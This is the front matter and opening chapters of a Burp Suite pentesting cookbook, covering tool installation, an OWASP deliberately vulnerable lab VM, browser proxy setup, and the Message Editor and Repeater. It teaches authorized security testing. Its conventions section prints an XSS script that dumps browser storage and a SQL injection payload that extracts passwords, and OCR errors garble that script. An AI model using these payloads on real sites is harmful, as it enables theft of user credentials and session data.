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Preface

Burp Suite is a Java-based platform for testing the security of your web applications, and
has been adopted widely by professional enterprise testers.

The Burp Suite Cookbook contains recipes to tackle challenges in determining and
exploring vulnerabilities in web applications. You will learn how to uncover security flaws
with various test cases for complex environments. After you have configured Burp for your
environment, you will use Burp tools such as Spider, Scanner, Intruder, Repeater, and
Decoder, among others, to resolve specific problems faced by pentesters. You will also
explore working with various modes of Burp and then perform operations on the web
using the Burp CLI. Toward the end, you will cover recipes that target specific test
scenarios and resolve them using best practices.

By the end of the book, you will be up and running with deploying Burp for securing web
applications.

Who this book is for

If you are a security professional, web pentester, or software developer who wants to adopt
Burp Suite for applications security, this book is for you.

What this book covers

Chapter 1, Getting Started with Burp Suite, provides setup instructions necessary to proceed
through the material of the book.

Chapter 2, Getting to Know the Burp Suite of Tools, begins with establishing the Target scope
and provides overviews to the most commonly used tools within Burp Suite.

Chapter 3, Configuring, Spidering, Scanning, and Reporting with Burp, helps testers to
calibrate Burp settings to be less abusive towards the target application.

Chapter 4, Assessing Authentication Schemes, covers the basics of Authentication, including
an explanation that this is the act of verifying a person or object claim is true.

Chapter 5, Assessing Authorization Checks, helps you understand the basics of
Authorization, including an explanation that this how an application uses roles to
determine user functions.
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Chapter 6, Assessing Session Management Mechanisms, dives into the basics of Session
Management, including an explanation that this how an application keeps track of user
activity on a website.

Chapter 7, Assessing Business Logic, covers the basics of Business Logic Testing, including
an explanation of some of the more common tests performed in this area.

Chapter 8, Evaluating Input Validation Checks, delves into the basics of Data Validation
Testing, including an explanation of some of the more common tests performed in this area.

Chapter 9, Attacking the Client, helps you understand how Client-Side testing is concerned
with the execution of code on the client, typically natively within a web browser or browser
plugin. Learn how to use Burp to test the execution of code on the client-side to determine
the presence of Cross-site Scripting (XSS).

Chapter 10, Working with Burp Macros and Extensions, teaches you how Burp macros enable
penetration testers to automate events such as logins or response parameter reads to
overcome potential error situations. We will also learn about Extensions as an additional
functionality to Burp.

Chapter 11, Implementing Advanced Topic Attacks, provides a brief explanation of XXE as a
vulnerability class targeting applications which parse XML and SSRF as a vulnerability
class allowing an attacker to force applications to make unauthorized requests on the
attacker’s behalf.

To get the most out of this book

All the requirements are updated in the Technical requirements section for each of the
chapter.

Conventions used

There are a number of text conventions used throughout this book.

CodeInText: Indicates code words in text, database table names, folder names, filenames,
file extensions, pathnames, dummy URLSs, user input, and Twitter handles. Here is an
example: "Allow the attack to continue until you reach payload 50."

[2]
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A block of code is set as follows:

<script>try{var m = "";var 1 = window.localStorage; var s =
window.sessionStorage; for (i=0;1i<l.length;i++) {var 1lKey = l.key(i);m
+= 1lKey + "=" + l.getItem(lKey) +

";\n"; }; for (i=0;1i<s.length; i++) {var 1lKey = s.key(i);m += lKey + "="
+ s.getItem(lKey) +
";\n"; };alert (m); tcatch(e) {alert (e.message) ; }</script>

Any command-line input or output is written as follows:

user'+union+select+concat (' Thet+password+for+', username, '+is+', +pass
word) ,mysignature+from+accounts+——+

Bold: Indicates a new term, an important word, or words that you see onscreen. For
example, words in menus or dialog boxes appear in the text like this. Here is an example:
"Select a tool from the drop-down listing and click the Lookup Tool button."

Warnings or important notes appear like this.

Tips and tricks appear like this.

Sections

In this book, you will find several headings that appear frequently (Getting ready, How to do
it..., How it works..., There’s more..., and See also).

To give clear instructions on how to complete a recipe, use these sections as follows:

Getting ready

This section tells you what to expect in the recipe and describes how to set up any software
or any preliminary settings required for the recipe.

[3]
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How to do it...

This section contains the steps required to follow the recipe.

How it works...

This section usually consists of a detailed explanation of what happened in the previous
section.

There's more...

This section consists of additional information about the recipe in order to make you more
knowledgeable about the recipe.

See also

This section provides helpful links to other useful information for the recipe.

Get in touch

Feedback from our readers is always welcome.

General feedback: If you have questions about any aspect of this book, mention the book
title in the subject of your message and email us at customercare@packtpub.com.

Errata: Although we have taken every care to ensure the accuracy of our content, mistakes
do happen. If you have found a mistake in this book, we would be grateful if you would
report this to us. Please visit www.packt .com/submit-errata, selecting your book, clicking
on the Errata Submission Form link, and entering the details.

Piracy: If you come across any illegal copies of our works in any form on the Internet, we
would be grateful if you would provide us with the location address or website name.
Please contact us at copyright@packt .com with a link to the material.

If you are interested in becoming an author: If there is a topic that you have expertise in
and you are interested in either writing or contributing to a book, please visit

authors.packtpub.com.

[4]


http://www.packt.com/submit-errata
http://authors.packtpub.com/

Preface

Reviews

Please leave a review. Once you have read and used this book, why not leave a review on
the site that you purchased it from? Potential readers can then see and use your unbiased
opinion to make purchase decisions, we at Packt can understand what you think about our
products, and our authors can see your feedback on their book. Thank you!

For more information about Packt, please visit packt . com.

Disclaimer

The information within this book is intended to be used only in an ethical manner. Do not
use any information from the book if you do not have written permission from the owner
of the equipment. If you perform illegal actions, you are likely to be arrested and
prosecuted to the full extent of the law. Packt Publishing does not take any responsibility if
you misuse any of the information contained within the book. The information herein must
only be used while testing environments with proper written authorizations from
appropriate persons responsible.

Targeting legal vulnerable web applications

In order for us to properly showcase the functions of Burp Suite, we need a target web
application. We need to have a target which we are legally allowed to attack.

Know Your Enemy is a saying derived from Sun Tzu's The Art of War. The application of this
principle in penetration testing is the act of attacking a target. The purpose of the attack is
to uncover weaknesses in a target which can then be exploited. Commonly referred to as
ethical hacking, attacking legal targets assists companies to assess the level of risk in their
web applications.

More importantly, any penetration testing must be done with express, written permission.
Attacking any website without this permission can result in litigation and possible
incarceration. Thankfully, the information security community provides many
purposefully vulnerable web applications to allow students to learn how to hack in a legal
way.

[5]
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A consortium group, Open Web Application Security Project, commonly referred to

as OWASP, provides a plethora of resources related to web security. OWASP is considered
the de facto standard in the industry for all things web security-related. Every three years
or so, the group creates a listing of the Top 10 most common vulnerabilities found in web
applications.

See here for more information (https://www.owasp.org/index.php/
Category: OWASP_Top_Ten_Project).

Throughout this book, we will use purposefully vulnerable web applications compiled into
one virtual machine by OWASP. This setup enables us to legally attack the targets
contained within the virtual machine.

[6]
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Getting Started with Burp Suite

In this chapter, we will cover the following recipes:

¢ Downloading Burp (Community, Professional)

e Setting up a web app pentesting lab

e Starting Burp at a command line or an executable
e Listening for HTTP traffic, using Burp

Introduction

This chapter provides the setup instructions necessary to proceed through the material in
this book. Starting with downloading Burp, the details include the two main Burp editions
available and their distinguishing characteristics.

To use the Burp suite, a penetration tester requires a target application. This chapter
includes instructions on downloading and installing OWASP applications contained within
a virtual machine (VM). Such applications will be used throughout the book as targeted
vulnerable web applications.

Also included in this chapter is configuring a web browser to use the Burp Proxy Listener.
This listener is required to capture HTTP traffic between the Burp and the target web
application. Default settings for the listener include an Internet Protocol (IP)

address, 127.0.0.1, and port number 8080.

Finally, this chapter concludes with the options for starting Burp. This includes how to start
Burp at the command line, also with an optional headless mode, and using the executable.



Getting Started with Burp Suite Chapter 1

Downloading Burp (Community,
Professional)

The first step in learning the techniques contained within this book is to download the Burp
suite. The download page is available here (https://portswigger.net/burp/). You will
need to decide which edition of the Burp suite you would like to download from the
following;:

¢ Professional
e Community
¢ Enterprise (not covered)

What is now termed Community was once labeled Free Edition. You may see both referenced
on the internet, but they are one and the same. At the time of this writing, the Professional
edition costs $399.

To help you make your decision, let's compare the two. The Community version offers
many of the functions used in this book, but not all. For example, Community does not
include any scanning functionality. In addition, the Community version contains some
forced throttling of threads when using the Intruder functionality. There are no built-in
payloads in the Community version, though you can load your own custom ones. And,
finally, several Burp extensions that require Professional will, obviously, not work in the
Community edition.

The Professional version has all functionality enabled including passive and active
scanners. There is no forced throttled. PortSwigger (that is, the name of the company that
writes and maintains the Burp suite) provides several built-in payloads for fuzzing and
brute-forcing. Burp extensions using scanner-related API calls are workable in the
Professional version as well.

In this book, we will be using the Professional version, which means much of the
functionality is available in the Community edition. However, when a feature is used in
this book specific to the Professional edition, a special icon will indicate this. The icon used
is the following:

[8]
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Getting Started with Burp Suite Chapter 1

Burp Suite Professional

Getting ready

To begin our adventure together, go to https://portswigger.net/burp and download the
edition of the Burp suite you wish to use. The page provides a slider, as following, which
highlights the features of Professional and Community, allowing you to compare them:

Select edition to view features:

O

Professional

Many readers may choose the Community edition to gain familiarity with the product prior
to purchasing.

Should you choose to purchase or trial the Professional edition, you will need to complete
forms or payments and subsequent email confirmations will be sent to you. Once your
account is created, you may login and perform the download from the links provided in
our account.

Software tool requirements
To complete this recipe, you will need the following;:
¢ Oracle Java (https://www.3java.com/en/download/)

¢ Burp Proxy Community or Professional (https://portswigger.net/burp/)
o Firefox Browser (https://www.mozilla.org/en-US/firefox/new/)

[9]
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Getting Started with Burp Suite

Chapter 1

How to do it...

After deciding on the edition you need, you have two installation options, including an
executable or a plain JAR file. The executable is only available in Windows and is offered in

both 32-bit or 64-bit. The plain JAR file is available for Windows, macOS, and Linux.

The Windows executable is self-contained and will create icons in your program listing.
However, the plain JAR file requires your platform to have Java (https://www.java.com/
en/download/) pre-installed. You may choose the current version of Java (JRE or JDK) so

feel free to choose the latest version:
Download

&% Download for Windows (64-bit) .. /... .

© Download plain JAR file View Checksums

2 Download for Linux (64-bit) View Checksums

® Download for Mac 0SX View Checksums

2% Download for Windows (32-bit) ... .. . .

D

Download

)

Download

&

Download

S

Download

D

Download
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Setting up a web app pentesting lab

The Broken Web Application (BWA) is an OWASP project that provides a self-contained
VM complete with a variety of applications with known vulnerabilities. The applications
within this VM enable students to learn about web application security, practice and
observe web attacks, and make use of penetration tools such as Burp.

To follow the recipes shown in this book, we will utilize OWASP's BWA VM. At the time of
this writing, the OWASP BWA VM can be downloaded from https://sourceforge.net/

projects/owaspbwa/files/.

Getting ready

We will download the OWASP BWA VM along with supportive tools to create our web
app pentesting lab.

Software tool requirements

To complete this recipe, you will need the following;:

¢ QOracle VirtualBox (https://www.virtualbox.org/wiki/Downloads)
e Choose an executable specific to your platform

Mozilla Firefox Browser (https://www.mozilla.org/en-US/firefox/new/)

7-Zip file archiver (https://www.7-zip.org/download.html)
OWASP BWA VM (https://sourceforge.net/projects/owaspbwa/files/)
Burp Proxy Community or Professional (https://portswigger.net/burp/)

Oracle Java (https://www.java.com/en/download/)
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How to do it...

For this recipe, you will need to download the OWASP BWA VM and install it by
performing the following steps:

1. Click Download Latest Version from the OWASP BWA VM link provided
earlier and unzip the file OWASP_Broken_Web_Apps_VM_1.2.7z.

2. You will be presented with a listing of several files, as follows:

’LT owaspbwa-release-notes.txt

L)) OWASP Broken Web Apps-cl1.vmdk

&) OWASP Broken Web Apps-cl1-s001.vmdk
L) OWASP Broken Web Apps-cl1-s002.vmdk
&) OWASP Broken Web Apps-cl1-s003.vmdk
L) OWASP Broken Web Apps-cl1-s004.vmdk
L)) OWASP Broken Web Apps-cl1-s005.vmdk
D OWASP Broken Web Apps.vmsd

D OWASP Broken Web Apps.vmxf

@ OWASP Broken Web Apps.vmx

D OWASP Broken Web Apps.nvram

3. All file extensions shown indicate the VM can be imported into Oracle
VirtualBox or VMware Player/Workstation. For purposes of setting up the web
application pentesting lab for this book, we will use Oracle VirtualBox.

4. Make a note of the OWASP Broken Web Apps-cll.vmdk file. Open the
VirtualBox Manager (that is, the Oracle VM VirtualBox program).

5. Within the VirtualBox Manager screen, select Machine | New from the top menu
and type a name for the machine, OWASP BWA.

6. Set the type to Linux and version to Ubuntu (64-bit), and then click Next, as
follows:

[12]



Getting Started with Burp Suite Chapter 1

Create Virtual Machine

Name and operating system

Please choose a descriptive name for the new virtual machine and
select the type of operating system you intend to install on it. The
name you choose will be used throughout VirtualBox to identify this
machine.

Name: OWASP BWA |
Type: Linux < E,’?
Version: |Ubuntu (64-bit) o

Expert Mode Cancel

7. The next screen allows you to adjust the RAM or leave as suggested. Click Next.

8. On the next screen, choose Use an existing virtual hard disk file.

9. Use the folder icon on the right to select OWASP Broken Web Apps-cll.vmdk
file from the extracted list and click Create, as follows:

& Create Virtual Machine

Hard disk

If you wish you can add a virtual hard disk to the new machine.
You can either create a new hard disk file or select one from the
list or from another location using the folder icon.

If you need a more complex storage set-up you can skip this step
and make the changes to the machine settings once the machine is
created.

The recommended size of the hard disk is 10.00 GB.
O Do not add a virtual hard disk
O Create a virtual hard disk now
(® Use an existing virtual hard disk file
OWASP Broken Web Apps-cll.vmdk (Normal, 8.00 GB) - @
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10. Your VM is now loaded in the VirtualBox Manager. Let's make some minor
adjustments. Highlight the OWASP BWA entry and select Settings from the top
menu.

11. Select the Network section in the left-hand pane and change to Host-only
Adapter. Click OK.

@ OWASP BWA - Settings ? X

General Network

System Adapter 1 Adapter 2 Adapter 3 Adapter 4

Enable Network Adapter
Attached to: Host-only Adapter -

Display

Storage :
Name: VirtualBox Host-Only Ethernet Adapter -

Audio > Advanced

Network

Serial Ports

USB

Shared Folders

User Interface

LSyl =N

12. Now let's start the virtual machine. Right-click then choose Start | Normal Start.

&, & OWASP BWA
@ Powered Off

@:‘3} Settings... Ctrl+S

@ Clone... Ctrl+O

% Remove.. Ctrl+R

@ Group Ctrl+U Video Memory:
Remote Desktop Se

E§> Start ¢ 'i} Normal Start

=] Display
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13. Wait until the Linux system is fully booted, which may take a few minutes. After
the booting process is complete, you should see the following screen. However,
the IP address shown will be different for your machine:

Pa

Welcome to the OWASF Broken UWeb Apps UH

1ttt This UM has many serious security issues. Ue strongly recommend that you ru
it only on the "host only” or "NAT" network in the UM settings 11t

You can access the web apps at http:--192.168.56.101-

You can administer ~» configure this machine through the comsole here, by SSHing
to 192.168.56.101, via Samba at “\192.168.56.101%, or via phpmyadmin at
http:--192.168.56. 101 phpmyadmin.

In all these cases, you can use username "root" and password “owaspbwa".

OUASP Broken Web Applications UM Version 1.2
Log in with username = root and password = owaspbua

owaspbwa login:

o wr o i B ¥ Right Ctrl

14. The information presented on this screen identifies the URL where you can
access vulnerable web applications running on the VM. For example, in the
previous screenshot, the URL is http://192.168.56.101/. You are given a
prompt for administering the VM, but it is not necessary to log in at this time.

15. Open the Firefox browser on your host system, not in the VM. Using the Firefox
Browser on your host machine, enter the URL provided (for example,
http://192.168.56.101/), where the IP address is specific to your machine.
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16. In your browser, you are presented with an index page containing links to
vulnerable web applications. These applications will be used as targets
throughout this book:

owaspbwa

OWASP Broken Web Applications Project

—

Version 1.2

This is the VM for the Open Web Application Security Project (OWASP) Broken Web Applications project. It contains many, very
vulnerable web applications, which are listed below. More information about this project can be found in the project User Guide and Home

Page.

For details about the known vulnerabilities in these applications, see https://sourceforge.net/p/owaspbwa/tickets/?1imit=999&
sort=_severity+asc.

!! This VM has many serious security issues. We strongly recommend that you run it only
— on the "host only" or "NAT" network in the virtual machine settings !!!

TRAINING APPLICATIONS

©OWASP WebGoat € OWASP WebGoat.NET
© OWASP ESAPI Java SwingSet Interactive © OWASP Mutillidae 1
© OWASP RailsGoat © OWASP Bricks
@OWASP Security Shepherd @Lost

@Magical Code Injection Rainbow @M

@Damn Vulnerable Web Application

How it works

Leveraging a customized virtual machine created by OWASP, we can quickly set up a web
app pentesting lab containing purposefully vulnerable applications, which we can use as
legal targets for our exercises throughout this book.
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Starting Burp at a command line or as an
executable

For non-Windows users or those Windows users who chose the plain JAR file option, you
will start Burp at a command line each time they wish to run it. As such, you will require a
particular Java command to do so.

In some circumstances, such as automated scripting, you may wish to invoke Burp at the
command line as a line item in your shell script. Additionally, you may wish to run Burp
without a graphical user interface (GUI), referred to as headless mode. This section
describes how to perform these tasks.

How to do it...

We will review the commands and actions required to start the Burp Suite product:

1. Start Burp in Windows, after running the installer from the downloaded .exe
file, by double-clicking the icon on desktop or select it from the programs listing:

l Burp Suite Professional

4( Burp Suite Professional

ﬁ Burp Suite Professional Uninstaller

When using the plain JAR file, the executable java is followed by the option of
—jar, followed by the name of the download JAR file.

2. Start Burp at the command line (minimal) with the plain JAR file (Java must be
installed first):

-

C:\Burp Jar Files>java -jar burpsuite_pro_1.7.33.jar

If you prefer more control over the heap size settings (that is, the amount of
memory allocated for the program) you may modify the java command.

[17]
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3. The java executable is followed by the —jar, followed by the memory allocation.
In this case, 2 GB (that is, 2g) is allocated for read access memory (RAM),
followed by the name of the JAR file. If you get an error to the effect that you
cannot allocate that much memory, just drop the amount down to something like
1,024 MB (that is, 1024m) instead.

4. Start Burp at command line (optimize) with the plain JAR file (Java must be
installed first):

:\Burp Jar Files>java -jar -Xmx2g burpsuite pro_1.7.33.jar

5. Itis possible to start Burp at the command line and to run it in headless mode.
Headless mode means running Burp without the GUIL

For the purposes of this book, we will not be running Burp in headless mode,
since we are learning through the GUI. However, you may require this
information in the future, which is why it is presented here.

6. Start Burp at the command line to run in headless mode with the plain JAR file
(Java must be installed first):

C:\Burp Jar Files>java -jar -Djava.awt.headless=true -Xmx2g burpsuite_pro_1.7.33.jar

Note the placement of the parameter -Djava.awt .headless=true immediately
following the —jar option and before the name of the JAR file.

7. If successful, you should see the following:

Proxy: Proxy service started on 127.6.0.1:80890

Press Ctrl + C or Ctrl + Z to stop the process.

8. It is possible to provide a configuration file to the headless mode command for
customizing the port number and IP address where the proxy listener is located.

[18]
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Please consult PortSwigger's support pages for more information on this
tOpiC: https://support.portswigger.net/customer/portal/questions/
16805563-burp-command-line.

9. In each startup scenario described, you should be presented with a splash
screen. The splash screen label will match whichever edition you decided to
download, either Professional or Community.

10. You may be prompted to update the version; feel free to do this, if you like. New
features are constantly added into Burp to help you find vulnerabilities, so
upgrading the application is a good idea. Choose Update Now, if applicable.

11. Next, you are presented with a dialog box asking about project files and
configurations:

= Temporary project

i) New project on disk

) Open existing project

12. If you are using the Community edition, you will only be able to create a
temporary project. If you are using the Professional edition, create a new project
on disk, saving it in an appropriate location for you to find. Click Next.

[19]
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13. The subsequent splash screen asks you about the configurations you would like
to use. At this point, we don't have any yet, so choose Use Burp defaults. As you
progress through this book, you may wish to save configuration settings and
load them from this splash screen in the future, as follows:

i. Select the configuration that you would like to load for this project. l BU R PSU' t

PROFESSIONAL

(=) Use Burp defaults

) Load from configuration file Fila

File: | Choose file...

| Default to the above in future
Disable extensions
< I | Cancel | Back | | StartBurp |

14. Finally, we are ready to click Start Burp.

How it works...

Using either the plain JAR file or the Windows executable, you can launch Burp to start the
Proxy listener to capture HTTP traffic. Burp offers temporary or permanent Project files to
save activities performed in the suite.

[20]
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Listening for HTTP traffic, using Burp

Burp is described as an intercepting proxy. This means Burp sits between the user's web
browser and the application's web server and intercepts or captures all of the traffic flowing
between them. This type of behavior is commonly referred to as a Proxy service.

Penetration testers use intercepting proxies to capture traffic flowing between a web
browser and a web application for the purposes of analysis and manipulation. For example,
a tester can pause any HTTP request, thus allowing parameter tampering prior to sending
the request to the web server.

Intercepting proxies, such as Burp, allow testers to intercept both HTTP requests and HTTP
responses. This allows a tester to observe the behavior of the web application under
different conditions. And, as we shall see, sometimes, the behaviors are unintended from
what the original developer expected.

To see the Burp suite in action, we need to configure our Firefox browser's Network
Settings to point to our running instance of Burp. This enables Burp to capture all HTTP
traffic that is flowing between your browser and the target web application.

Getting ready

We will configure Firefox browser to allow Burp to listen to all HTTP traffic flowing
between the browser and the OWASP BWA VM. This will allow the proxy service within
Burp to capture traffic for testing purposes.

Instructions are available on PortSwigger at (https://support.portswigger.net/
customer/portal/articles/1783066—configuring—firefox—to—work—with—burp) and we
will also step through the process in the following recipe.

How to do it...
The following are the steps you can go through to listen to all HTTP traffic using Burp:

1. Open the Firefox browser and go to Options.
2. In the General tab, scroll down to the Network Proxy section and then click
Settings.

3. In the Connection Settings, select Manual proxy configuration and type in the
IP address of 127.0.0.1 with port 8080. Select the Use this proxy server for all

protocols checkbox:
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4. Make sure the No proxy for the textbox is blank, as shown in the following
screenshot, and then click OK:

Connection Settings

Configure Proxy Access to the Internet
No proxy
O Auto-detect proxy settings for this network

Use system proxy settings

® Manual proxy configuration

HTTP Proxy 127.0.0.1 Port 8080

v Use this proxy server for all protocols

SSL Proxy 127.0.0.1 Port 8080

FTP Proxy 127.0.0.1 Port 8080

SOCKS Host  127.0.0.1 Port 8080
SOCKS v4 SOCKS v5

No Proxy for

Example: .mozilla.org, .net.nz, 192.168.1.0/24

Automatic proxy configuration URL

oK Cancel Help

5. With the OWASP BWA VM running in the background and using Firefox to
browse to the URL specific to your machine (that is, the IP address shown on the
Linux VM in VirtualBox), click the reload button (the arrow in a circle) to see the
traffic captured in Burp.
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6. If you don't happen to see any traffic, check whether Proxy Intercept is holding
up the request. If the button labeled Intercept is on is depressed, as shown in the
following screenshot, then click the button again to disable the interception. After

doing so, the traffic should flow freely into Burp, as follows:

Burp Intruder Repeater Window Help

[Target Proxy | Spider T Scanner T Intruder I Repeater T Sequencer

"

Intercept | HTTP history T WebSockets history I Options ]

Forward Dirop Intercept is on Action

Raw Hex

In the following, Proxy | Intercept button is disabled:

Burp Intruder Repeater Window Help

Target | Proxy | Spider T Scanner I Intruder I Repeater TS&quencer

p——

Intercept | HTTP history I WebSockets history I Options ]

T
.
=1
C
L]
- |

Intercept is off Action

-
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7. If everything is working properly, you will see traffic on your Target | Site map
tab similar to what is shown in the following screenshot. Your IP address will be
different, of course, and you may have more items shown within your Site map.
Congratulations! You now have Burp listening to all of your browser traffic!

Burp Intruder Repeater Windo

Target | Proxy T Spider I Sca

| Site map ! Scope

Fiter: Hiding not found items; hidin

o hitp:/f192.168.56.101
(&1
O animatedcollapse.js
A images
[ index.css
E jguery.min.js

How it works...

The Burp Proxy service is listening on 127.0.0.1 port 8080. Either of these settings can be
changed to listen on an alternative IP address or port number. However, for the purpose of
learning, we will use the default settings.

[24]




Getting to Know the Burp Suite
of Tools

In this chapter, we will cover the following recipes:

e Setting the Target Site Map
Understanding Message Editor
Repeating with Repeater
Decoding with Decoder
Intruding with Intruder

Introduction

This chapter provides overviews of the most commonly used tools within Burp Suite. The
chapter begins by establishing the Target scope within the Target Site Map. This is followed
by an introduction to the Message Editor. Then, there will be some hands-on recipes using
OWASP Mutillidae II to get acquainted with Proxy, Repeater, Decoder, and Intruder.
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Software tool requirements

To complete the recipes in this chapter, you will need the following:

¢ Burp Proxy Community or Professional (https://portswigger.net/burp/)
e The Firefox browser configured to allow Burp to proxy traffic (https://www.

mozilla.org/en-US/firefox/new/)

Setting the Target Site Map

Now that we have traffic flowing between your browser, Burp, and the OWASP BWA
virtual machine, we can begin setting the scope of our test. For this recipe, we will use the
OWASP Mutillidae IT link (http://<Your_VM_Assigned_IP_Address>/mutillidae/)
available in the OWASP BWA VM as our target application.

Looking more closely at the Target tab, you will notice there are two subtabs available: Site
map and Scope. From the initial proxy setup between your browser, Burp, and the web
server, you should now have some URLs, folders, and files shown in the Target | Site map
tab. You may find the amount of information overwhelming, but setting the scope for our
project will help to focus our attention better.

Getting ready

Using the Target | Site map and Target | Scope tab, we will assign the URL for mutillidae
(http://<Your_VM_Assigned_IP_Address>/mutillidae/) as the scope.
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How to do it...

Execute the following steps to set the Target Site Map:

1. Search for the folder mutillidae and right-click on Add to scope. Notice the
brief highlighting of the Target | Scope subtab, as follows:

j Target T Proxy T Spider T Scanner T Intruder T Repeater T Sequencer r

[ stemep | scope |

Fiter: Hiding not found items; hiding CSS, image and general binary content; hiding

L3 hitp://1-liner.org
v http://192.168.56.101

Y]

AppSenzorDemo

yv

MCIR

VWackoPicko

WebGoat
animatedcollapse.js
awstats

bVWAPP

bodgeit

cyclone
dom-xss-example. htmi

v

v

Yw

dvwa

gallery2

getboo

ghost

gruyere

gtd-php
hackxer_intro.php
joomla
jguery.min.js

v

MDD ODERDODODRDODODODODRNCDRERDD DR

mono
mutillidae
mutillidae

ESAPLJava-SwingSet-Interactive

OWASP-CSRFGuard-Test-Application.html

4| Contents

Host

http://192.168.56
http://192.168.56
hitp://192.168.56
hitp://192.168.56
hitp:/192.168.56
http://192.168.56
http://192.168.56
http://192.168.56
http://192.168.56
http://192.168.56

[ Raw | Heade

GET /mutilli
Host: 15Z_16
User-Agent:

Firefox/€l.0
Accept: text
Accept-Lancgu
Accept-Encod

mandiant-struts-forms. =l

[ http:1/192.168.56.101/mutillidae

Add to scope

Spider this branch
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2. Upon adding the folder mutillidae to your scope, you may be presented with a
Proxy history logging dialog box, as follows. You may choose to avoid collecting
messages out of your cope by clicking Yes. Or you may choose to continue to
have the Proxy HTTP History table collect any messages passing through Burp,
even if those messages fall outside the scope you've identified. For our purposes,
we will select Yes:

; %ou have added an item to Target scope. Do you want Burp Proxy
- to stop sending out-of-scope items to the history or other Burp
tools?

Answering "yes” will avoid accumulating project data for
out-of-scope items.

[] Always take the same action in future Yes | No

3. Flipping over the Target | Scope tab, you should now see the full URL for the
OWASP Mutillidae II, shown in the Include in scope table, as follows:
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JTarget T Proxy T Spider T Scanner I Intruder T Repeater I Sequencer I Decoder T Comparer T Extender T Project

[ Site map | Scope

@ Target Scope

@ Define the in-zcope targets for your current work. This configuration affects the behavior of tools throughout the suite.
URL paths.

[J Use advanced scope control

—
-8
5]
I

| Add | Enabled | Prefix
& http://192.168.56.101/mutilidas

Edit

Remove [

Paste URL

.

Load ...

,_
. .

Add Enabled | Prefix

Edit

Remaove -

Paste URL

Bl

Load ...

,_
X .

How it works...

The Message Editor displays detailed information any HTTP message flowing through the
Proxy listener. After setting up Proxy to capture HTTP traffic, as seen in your Target | Site
map and Burp Proxy | HTTP history tab, you are able to select any single message to
reveal the Message Editor. Each editor contains the request and response sides of the
message, so long as the message is properly proxied through Burp.
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Understanding the Message Editor

On almost every tool and tab within Burp Suite that display an HITP message, you will see
an editor identifying the request and response. This is commonly referred to as the Message
Editor. The Message Editor allows viewing and editing HTTP requests and responses with
specialties.

Within the Message Editor are multiple subtabs. The subtabs for a request message, at a
minimum, include the following;:

¢ Raw
e Headers
e Hex

The subtabs for a response message include the following;:

¢ Raw
Headers

e Hex
HTML (sometimes)
Render (sometimes)

The Raw tab gives you the message in its raw HTTP form. The Headers tab displays HTTP
header parameters in tabular format. The parameters are editable, and columns can be
added, removed, or modified in the table within tools such as Proxy and Repeater.

For requests containing parameters or cookies, the Params tab is present. Parameters are
editable, and columns can be added, removed, or modified in the table within tools such as
Proxy and Repeater.

Finally, there's the Hex tab, which presents the message in hexadecimal format; it is, in
essence, a hex editor. You are permitted to edit individual bytes within tools such as Proxy
and Repeater, but those values must be given in two-digit hexadecimal form, from 00
through FF.
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Getting ready

Let's explore the multiple tabs available in the Message Editor for each request and
response captured in Burp.

How to do it...

Ensure you have traffic flowing between your browser, Burp, and the OWASP BWA virtual
machine.

1. Looking at the Target | Site map tab, notice the Message Editor section:

_[ Request I Response ]

J Raw T Headers T Hex ]

GET /mutillidae/ HTTP/1l.1

Host: 19Z.1le8.5&.101

User-Agent: Mozilla/5.0 (Windows NT 10.0; WOWc4)
AppleWebKit /537. 36 (FHTML, like Gecko) Chrome/82.0.3202.95
Safari/537. 36

Accept:

text/htnl , application/xhtml+xml, application/xml ;g=0.9,*/*;¢q=0
.8

Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate
Referer: http://1l92.1leB8.5&.101/
Commection: close
Upgrade-Insecure-Recuests: 1
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2. When viewing a request, note that the subtabs available include Raw, Headers,
and Hex, at a minimum. However, in the case of a request containing parameters
or cookies, the Params subtab is also available:

_[ Reguest T Response ]

[ Raw [ Params T Headers T Hex ]

POST request to /mutilidae/index.php

Type | Name | Value

URL page login.php

Cookie showhints 1

Cookie PHPSESSID juttplah3jsrpgSh03did2o4d2
Cookie acopendivids swingset jotte, phpbb2, redmine
Cookie acgroupswithpersist nada

Body username admin

Body password adminpass

Body legin-php-submit-button Login

Body encoding. applicationx-www-form-urlencoded

3. The other side of the message is the Response tab, containing the Raw, Headers,
Hex subtabs, and sometimes HTML and Render. These are the various formats
provided for the HTTP response to the request. If the content is HTML, then the
tab will appear. Likewise, the Render tab enables HTML display as it would be
presented in a browser but without any JavaScript executed:

[32]




Getting to Know the Burp Suite of Tools Chapter 2

| Regquest | Response

_[ Raw ] Headers | Hex I HTML ] Render ]

HTTP/1.1 Z00 OK

Date: Mon, IZ7 Aug 2018 11:07:03 GHMT

Server: Apache/Z.2.14 (Ubhuntu) mod mono/Z.4.3
PHP/S5. 3. Z-lubuntud. 30 with Suhosin-Patch proxy html/3.0.1
mod python/3.32.1 Python/2.6.5 mod _ssl1/2.2.14 Open3SL/0.59.8k
Phusion Passenger/4.0_.38 mod perl/2.0.4 Perl/v5.10.1
¥-Powered-By: PHP/S5.3.IZ-lubuntud. Z0

Logged-In-TUser:

Vary: Accept-Encoding

Content-Length: 50373

Commection: close

Content-Type: text/html

Repeating with Repeater

Repeater allows for slight changes or tweaks to the request, and it is displayed in the left-
hand window. A Go button allows the request to be reissued, and the response is displayed
in the right-hand window.

Details related to your HTTP request include standard Message Editor details such as Raw,
Params (for requests with parameters or cookies), Headers, and Hex.

Details related to the HTTP Response include standard Message Editor details including
Raw, Headers, Hex, and, sometimes, HTML and Render.

At the bottom of each panel is a search-text box, allowing the tester to quickly find a value
present in a message.

Getting ready

Repeater allows you to manually modify and then re-issue an individual HTTP request,
analyzing the response that you receive.
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How to do it...

1. From the Target | Site map or from Proxy | HTTP history tabs (shown in the
following screenshot), right-click a message and select Send to Repeater:

Target | Proxy [ Spider T Scanner T]ntruder TRepeater T Sequencer T Decoder I Comparer I Extender T Project

Intercept | HTTP history [I WebSockets history T Options ]

| Fiter: Hiding CS5, image and general binary content

# 4| Host | Method | URL | Params | Edited | Status
1 hitp:/1M92.168.55.101 GET ! 200

3 http://192.168.56.101 GET fanimatedcollapse.js 200

4 hitp:/i192.168.56.101 GET fjguery.min.js 200
10 hitp:/1192.168.56.101 GET Imutilidae 30
" hitp://192.168.56.101 GET Imutilidas/ 200
<

_[ Reguest T Response ]

_[ Raw T Headers I Hex ]

GET /mutillidae/ HTTP/L1.1
Host: 152.168.56.101
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOWE4) AppleWebKiy Send to Spider
Accept: text/html,application/xhtml+xml, application/xmnl ;gq=0 Do an active scan
Accept-Lancuage: en-US, en;q=0.5
